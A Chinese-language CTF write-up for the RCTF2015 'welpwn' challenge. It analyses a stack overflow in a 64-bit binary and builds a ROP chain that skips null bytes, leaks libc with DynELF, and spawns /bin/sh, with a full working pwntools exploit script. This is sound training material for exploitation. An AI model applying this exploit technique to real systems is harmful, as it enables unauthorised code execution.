Pwn

RCTF2015之welpwn

64位构造ROP过掉00截断

Posted by Chris on June 19, 2018

0x00 代码分析

检查保护,只开启了NX

1
2
3
4
5
6
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int echo(__int64 a1)
{
  char s2[16]; #[rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}


int main(int argc, const char **argv, const char **envp)
{
  char buf;  #[rsp+0h] [rbp-400h]

  alarm(0xAu);
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}

先read 1024字节,然后echo函数中循环赋值导致栈溢出,循环到\0结束,由于64位程序代码段中地址高8位多是00,因此需要构造ROP过掉\0限制。

0x01 漏洞利用

1,这次read函数不会溢出,在echo函数里面会发生溢出,但是他会判断输入的字符不为\0。

2,payload思路是先使用puts函数Memleak出system函数的地址,p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)

3,使用peda测得偏移为24.但是发送的payload里面含有\0.

由于函数嵌套调用,想到echo函数的栈空间在main函数的上面,于是可以在echo函数里溢出到main函数栈空间。

经GDB调试发现 当输入 “A” * 24 + “B” * 4 结果如下

pic1

栈中 0x7fffffffdde0 位置存放输入数据。

继续调试到echo函数的ret 如下图

pic2

可以看到echo函数复制的s2栈空间覆盖刚好覆盖在main函数buf栈空间上面.

4,所以我们只需要在溢出的地方构造一个gadget跳过 “A” * 24,这里我在溢出的EIP设置

1
pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 

具体构造如下

1
2
rop='A'*24 + p64(ppppr)
rop += p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)

这样当echo函数返回时,就能借助这个gadget跳过原字符串的前32字节数据,即可进入我们正常的poprdi调用过程。 如下图

pic3

5,然后接下来就是用64位通用gadget,调用read往bss段写“/bin/sh”,调用system函数,我构造的payload如下(其中gad1与gad2是_ libc _csu _init函数的通用gadget):

1
2
rop1='A'*24 + p64(ppppr)
rop1+= p64(gad1) + p64(0)+p64(1)+p64(read_got)+p64(9)+p64(bss_start)+p64(0)+p64(gad2)+"A"*56+ p64(poprdi) + p64(bss_start) + p64(system)

0x02 py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
p = process('./welpwn')
e=ELF("./welpwn")
ppppr = 0x40089c
poprdi = 0x004008a3
main = 0x4007CD
gad1=0x40089A
gad2=0x400880
read_got=e.got["read"]
puts_plt=e.plt["puts"]
bss_start =e.bss()
p.recvline()

def leak(addr):
    rop='A'*24 + p64(ppppr)
    rop += p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
    p.send(rop)
    p.recvn(27)
    str = p.recvuntil('RCTF\n')
    result = str.split('\nWelcome')[0]
    if result == '':
        return '\x00'
    return result

d = DynELF(leak, elf=ELF('./welpwn'))
system = d.lookup('system', 'libc')
print "systemaddr======"+hex(system)
rop1='A'*24 + p64(ppppr)
rop1+= p64(gad1) + p64(0)+p64(1)+p64(read_got)+p64(9)+p64(bss_start)+p64(0)+p64(gad2)+"A"*56+ p64(poprdi) + p64(bss_start) + p64(system)

p.send( rop1)
p.send('/bin/sh\x00')

p.interactive()

文件下载